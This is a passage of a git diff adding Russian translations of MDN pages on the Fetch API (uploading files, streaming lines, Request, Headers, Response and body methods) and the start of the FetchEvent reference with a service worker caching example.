+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Загрузка_нескольких_файлов_на_сервер">Загрузка нескольких файлов на сервер</h3>
+
+<p>На сервер можно загрузить несколько файлов, используя комбинацию HTML-элемента <code>&lt;input type="file" multiple /&gt;</code>, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> formData <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> photos <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'input[type="file"][multiple]'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Мой отпуск в Вегасе'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> photos<span class="punctuation token">.</span>files<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'photos'</span><span class="punctuation token">,</span> photos<span class="punctuation token">.</span>files<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com/posts'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span>
+    body<span class="punctuation token">:</span> formData
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> result <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Обработка_текстового_файла_построчно">Обработка текстового файла построчно</h3>
+
+<p>Фрагменты данных, получаемые из ответа, не разбиваются на строки автоматически (по крайней мере с достаточной точностью) и представляют собой не строки, а объекты {{jsxref("Uint8Array","Uint8Array")}}. Если вы хотите загрузить текстовый файл и обрабатывать его по мере загрузки построчно, то на вас самих ложится груз ответственности за обработку всех упомянутых моментов. Как пример, далее представлен один из способов подобной обработки с помощью создания построчного итератора (для простоты приняты следующие допущения: текст приходит в кодировке UTF-8 и ошибки получения не обрабатываются).</p>
+
+<pre class="brush: js">async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex &lt; chunk.length) {
+    //последняя строка не имеет символа перевода строки в конце
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}</pre>
+
+<h3 id="Проверка_успешности_запроса">Проверка успешности запроса</h3>
+
+<p>В методе {{domxref("GlobalFetch.fetch","fetch()")}} promise будет отклонён (reject) с {{jsxref("TypeError")}}, когда случится ошибка сети или не будет сконфигурирован CORS на стороне запрашиваемого сервера, хотя обычно это означает проблемы доступа или аналогичные — для примера, 404 не является сетевой ошибкой. Для достоверной проверки успешности <code>fetch()</code> будет включать проверку того, что promise успешен (resolved), затем проверку того, что  значение свойства {{domxref("Response.ok")}} является true. Код будет выглядеть примерно так:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'flowers.jpg'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>response<span class="punctuation token">.</span>ok<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'Ответ сети был не ok.'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">const</span> myBlob <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> objectURL <span class="operator token">=</span> <span class="constant token">URL</span><span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>myBlob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  myImage<span class="punctuation token">.</span>src <span class="operator token">=</span> objectURL<span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Возникла проблема с вашим fetch запросом: '</span><span class="punctuation token">,</span> error<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Составление_своего_объекта_запроса">Составление своего объекта запроса</h3>
+
+<p>Вместо передачи пути ресурса, который вы хотите запросить вызовом <code>fetch()</code>, вы можете создать объект запроса, используя конструктор {{domxref("Request.Request","Request()")}}, и передать его в <code>fetch()</code> аргументом:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">const</span> myInit <span class="operator token">=</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'GET'</span><span class="punctuation token">,</span>
+  headers<span class="punctuation token">:</span> myHeaders<span class="punctuation token">,</span>
+  mode<span class="punctuation token">:</span> <span class="string token">'cors'</span><span class="punctuation token">,</span>
+  cache<span class="punctuation token">:</span> <span class="string token">'default'</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">const</span> myRequest <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Request</span><span class="punctuation token">(</span><span class="string token">'flowers.jpg'</span><span class="punctuation token">,</span> myInit<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> myBlob <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> objectURL <span class="operator token">=</span> <span class="constant token">URL</span><span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>myBlob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+myImage<span class="punctuation token">.</span>src <span class="operator token">=</span> objectURL<span class="punctuation token">;</span></code></pre>
+
+<p>Конструктор <code>Request()</code> принимает точно такие же параметры, как и метод <code>fetch()</code>. Вы даже можете передать существующий объект запроса для создания его копии:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> anotherRequest <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Request</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">,</span> myInit<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Довольно удобно, когда тела запроса и ответа используются единожды (прим.пер.: <em>"are one use only"</em>). Создание копии как показано позволяет вам использовать запрос/ответ повторно, при изменении опций <code>init</code>, при желании. Копия должна быть сделана до прочтения тела, а чтение тела в копии также пометит его прочитанным в исходном запросе.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Также есть метод {{domxref("Request.clone","clone()")}}, создающий копии. Оба метода создания копии прекратят работу с ошибкой если тело оригинального запроса или ответа уже было прочитано, но чтение тела клонированного ответа или запроса не приведёт к маркировке оригинального.</p>
+</div>
+
+<h2 id="Заголовки">Заголовки</h2>
+
+<p>Интерфейс {{domxref("Headers")}} позволяет вам создать ваш собственный объект заголовков через конструктор {{domxref("Headers.Headers","Headers()")}}. Объект заголовков - простая мультикарта имён-значений:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> content <span class="operator token">=</span> <span class="string token">'Hello World'</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'Content-Type'</span><span class="punctuation token">,</span> <span class="string token">'text/plain'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'Content-Length'</span><span class="punctuation token">,</span> content<span class="punctuation token">.</span>length<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'X-Custom-Header'</span><span class="punctuation token">,</span> <span class="string token">'ProcessThisImmediately'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>То же может быть достигнуто путём передачи массива массивов или литерального объекта конструктору:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">{</span>
+  <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'text/plain'</span><span class="punctuation token">,</span>
+  <span class="string token">'Content-Length'</span><span class="punctuation token">:</span> content<span class="punctuation token">.</span>length<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+  <span class="string token">'X-Custom-Header'</span><span class="punctuation token">:</span> <span class="string token">'ProcessThisImmediately'</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Содержимое может быть запрошено и извлечено:</p>
+
+<pre class="brush: js">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.get("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
+
+<p>Некоторые из этих операций могут быть использованы только в {{domxref("ServiceWorker_API","ServiceWorkers")}}, но они предоставляют более удобный API для манипуляции заголовками.</p>
+
+<p>Все методы Headers выбрасывают <code>TypeError</code>, если имя используемого заголовка не является валидным именем HTTP Header. Операции мутации выбросят <code>TypeError</code> если есть защита от мутации (смотрите ниже) (прим.пер.: <em>"if there is an immutable guard"</em>). В противном случае они прерываются молча. Например:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myResponse <span class="operator token">=</span> Response<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  myResponse<span class="punctuation token">.</span>headers<span class="punctuation token">.</span><span class="function token">set</span><span class="punctuation token">(</span><span class="string token">'Origin'</span><span class="punctuation token">,</span> <span class="string token">'http://mybank.com'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Не могу притвориться банком!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Хорошим вариантом использования заголовков  является проверка корректности типа контента перед его обработкой. Например:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> contentType <span class="operator token">=</span> response<span class="punctuation token">.</span>headers<span class="punctuation token">.</span><span class="function token">get</span><span class="punctuation token">(</span><span class="string token">'content-type'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>contentType <span class="operator token">||</span> <span class="operator token">!</span>contentType<span class="punctuation token">.</span><span class="function token">includes</span><span class="punctuation token">(</span><span class="string token">'application/json'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">TypeError</span><span class="punctuation token">(</span><span class="string token">"Ой, мы не получили JSON!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">const</span> json <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="comment token">/* Дальнейшая обработка JSON */</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Защита">Защита</h3>
+
+<p>С тех пор как заголовки могут передаваться в запросе, приниматься в ответе и имеют различные ограничения в отношении того, какая информация может и должна быть изменена, заголовки имеют свойство guard. Это не распространяется на Web, но влияет на то, какие операции мутации доступны для объекта заголовков.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><code>none</code>: по умолчанию.</li>
+ <li><code>request</code>: защита объекта заголовков, полученного по запросу ({{domxref("Request.headers")}}).</li>
+ <li><code>request-no-cors</code>: защита объекта заголовков, полученного по запросу созданного с {{domxref("Request.mode")}} <code>no-cors</code>.</li>
+ <li><code>response</code>: защита Headers полученных от ответа ({{domxref("Response.headers")}}).</li>
+ <li><code>immutable</code>: в основном, используется в ServiceWorkers; делает объект заголовков read-only.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы не можете добавить или установить <code>request</code> защищаемые Headers’ заголовок <code>Content-Length</code>. Аналогично, вставка <code>Set-Cookie</code> в заголовок ответа недопустимо: ServiceWorkers не допускают установки cookies через синтезированные ответы.</p>
+</div>
+
+<h2 id="Объекты_ответа">Объекты ответа</h2>
+
+<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращен когда <code>fetch()</code> промис будет исполнен.</p>
+
+<p>Свойства объекта-ответа которые чаще всего используются:</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — Целочисленное (по умолчанию 200) содержит код статуса ответа.</li>
+ <li>{{domxref("Response.statusText")}} — Строка (по умолчанию"OK"), которая соответствует HTTP коду статуса.</li>
+ <li>{{domxref("Response.ok")}} — как сказано ранее, это короткое свойство для упрощения проверки на то что статус ответа находится гдето между 200-299 включительно. Это свойство типа {{domxref("Boolean")}}.</li>
+</ul>
+
+<p>Они так же могут быть созданы с помощью JavaScript, но реальная польза от этого есть только при использовании  {{domxref("ServiceWorker_API", "сервисворкеров")}}, когда вы предоставляете собственный ответ на запрос с помощью метода {{domxref("FetchEvent.respondWith","respondWith()")}}:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myBody <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'fetch'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// ServiceWorker перехватывает fetch</span>
+  event<span class="punctuation token">.</span><span class="function token">respondWith</span><span class="punctuation token">(</span>
+    <span class="keyword token">new</span> <span class="class-name token">Response</span><span class="punctuation token">(</span>myBody<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+      headers<span class="punctuation token">:</span> <span class="punctuation token">{</span> <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'text/plain'</span> <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span>
+  <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Конструктор {{domxref("Response.Response","Response()")}} принимает два необязательных аргумента — тело для ответа и объект init (аналогичный тому, который принимает {{domxref("Request.Request","Request()")}})</p>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод {{domxref("Response.error","error()")}} просто возвращает ответ об ошибке. Аналогично, {{domxref("Response.redirect","redirect()")}} возвращает ответ, приводящий к перенаправлению на указанный URL. Они также относятся только к Service Workers.</p>
+</div>
+
+<h2 id="Тело">Тело</h2>
+
+<p>Запрос и ответ могут содержать данные тела. Тело является экземпляром любого из следующих типов:</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array и подобные)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>string</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>{{domxref("Body")}} примесь определяет следующие методы для извлечения тела (реализованны как для {{domxref("Request")}} так и для {{domxref("Response")}}). Все они возвращают promise, который в конечном итоге исполняется и выводит содержимое.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>Это делает использование нетекстовых данных более легким, чем при XMR.</p>
+
+<p>В запросе можно установить параметры для отправки тела запроса:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> form <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'login-form'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'/login'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span>
+  body<span class="punctuation token">:</span> form
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Параметры request и response (and by extension the <code>fetch()</code> function), по возможности возвращают корректные типы данных. Параметр request также автоматически установит <code>Content-Type</code> в заголовок, если он не был установлен из словаря.</p>
+
+<h2 id="Функция_обнаружения">Функция обнаружения</h2>
+
+<p>Поддержка Fetch API может быть обнаружена путем проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p>
+
+<pre class="brush: js">if (self.fetch) {
+    // запустить мой fetch запрос здесь
+} else {
+    // Сделать что-то с XMLHttpRequest?
+}</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует  <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздает функциональность для не поддерживающих браузеров.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Первоначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop(39)}}<br>
+    {{CompatGeckoDesktop(34)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>29<br>
+    28<sup>[1]</sup></td>
+   <td>10.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.1</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Этот API  is implemented behind a preference.</p>
+
+<p>[2] До Firefox 52, <code>get()</code> возращал только  первое значение в указанном заголовке, а <code>getAll()</code> возращал все значения. Начиная с 52, <code>get()</code> теперь возращает все значения и <code>getAll()</code> был удален.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..5c529c772c
--- /dev/null
+++ b/files/ru/web/api/fetchevent/index.html
@@ -0,0 +1,103 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+translation_of: Web/API/FetchEvent
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">Это тип событий <code>fetch</code>, обрабатываемых в {{domxref("ServiceWorkerGlobalScope", "глобальном контексте service worker", "", 1)}}. Даноое событие содержит данные о запросе, включая его цель. Оно предоставляет метод {{domxref("FetchEvent.respondWith", "event.respondWith()")}}, с помощью которого service worker может ответить на запрос.</span></p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt>
+ <dd>Создает новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создает данные объекты и передает их в обработчик событий <code>fetch</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный класс наследует все свойства класса {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}} того же источника, отправившего запрос.</dd>
+ <dt>{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}</dt>
+ <dd>{{jsxref("Promise", "Промис")}} для {{domxref("Response", "запроса")}}, или же пустой промис, если не произошла навигация или {{domxref("NavigationPreloadManager", "предзагрузка навигации", "", 1)}} отключена.</dd>
+ <dt>{{domxref("fetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>Запрос ({{domxref("Request")}}) от браузера.</dd>
+ <dt>{{domxref("fetchEvent.replacesClientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменяемого при навигации.</dd>
+ <dt>{{domxref("fetchEvent.resultingClientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменившего прошлый клиент при навигации.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Данный класс наследует методы класса </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.respondWith()")}}</dt>
+ <dd>Перехватывает запрос и отпраляет промис с ответом.</dd>
+ <dt>{{domxref("extendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Продлевает выполнение обработчика события до завершения переданного промиса. Используется чтобы уведомить браузер о событии, продолжающемся после отправки ответа, таком как обновление кеша или потоковая передача.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном примере все не-GET запросы будут обрабатываться стандартными средствами браузера. В случае GET запросов, service worker попробует найти ответ в кеше, а в случае его отсутствия получит данные с сервера. Также, он асинхронно обновит данные в кеше.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', event =&gt; {
+  // В случае не-GET запроса браузер должен сам обрабатывать его
+  if (event.request.method != 'GET') return;
+
+  // Обрабатываем запрос с помощью логики service worker
+  event.respondWith(async function() {
+    // Пытаемся получить ответ из кеша.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // Если кеш был найден, возвращаем данные из него
+      // и запускаем фоновое обновление данных в кеше.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // В случае, если данные не были найдены в кеше, получаем их с сервера.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
